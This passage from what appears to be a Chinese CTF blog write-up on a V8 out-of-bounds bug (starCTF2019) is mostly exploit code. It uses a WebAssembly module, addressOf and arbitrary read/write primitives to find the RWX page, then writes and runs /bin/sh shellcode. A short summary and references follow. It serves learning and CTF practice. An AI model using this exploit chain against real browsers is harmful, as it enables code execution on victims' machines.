var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

%DebugPrint(obj_array);
%DebugPrint(float_array);
%DebugPrint(fake_obj);
%DebugPrint(f);
console.log("float array map: " + hex(f2i(float_array_map)), ", obj array map: " + hex(f2i(obj_array_map)));

var wasm_addr = addressOf(f);
var shared_info_addr = read(i2f(f2i(wasm_addr) + 0x18n));
var data_addr = read(i2f(f2i(shared_info_addr) + 0x8n));
var instance_addr = read(i2f(f2i(data_addr) + 0x10n));
var shellcode_addr = read(i2f(f2i(instance_addr) + 0x88n));
console.log("wasm_addr: " + hex(f2i(wasm_addr)));
console.log("shared_info_addr: " + hex(f2i(shared_info_addr)));
console.log("data_addr: " + hex(f2i(data_addr)));
console.log("instance_addr: " + hex(f2i(instance_addr)));
console.log("shellcode_addr: " + hex(f2i(shellcode_addr)));

var shellcode=[
    0x6e69622fbb48f631n,
    0x5f54535668732f2fn,
    0x00050fd231583b6an,
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = i2f(f2i(addressOf(data_buf)) + 0x20n);

write(buf_backing_store_addr, shellcode_addr);
for (var i = 0; i < shellcode.length; i++) {
  data_view.setBigUint64(8 * i, shellcode[i], true);
}
f();

%SystemBreak();

运行结果:


总结

总的看一遍下来,还是挺好玩的,不过没有读过v8源码,有点地方还是不甚清晰。

相比PHP的UAF玩法,chrome的越界读写漏洞操作起来更简单一些,理解难度也要低一些。


参考文章

WebAssembly简介

官方文档

Emscripten安装参考

v8环境搭建

starCTF2019-1

starCTF2019-2


Web 二进制 浏览器 Chrome

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

chrome浏览器漏洞强化1
从FTP到PHP-FPM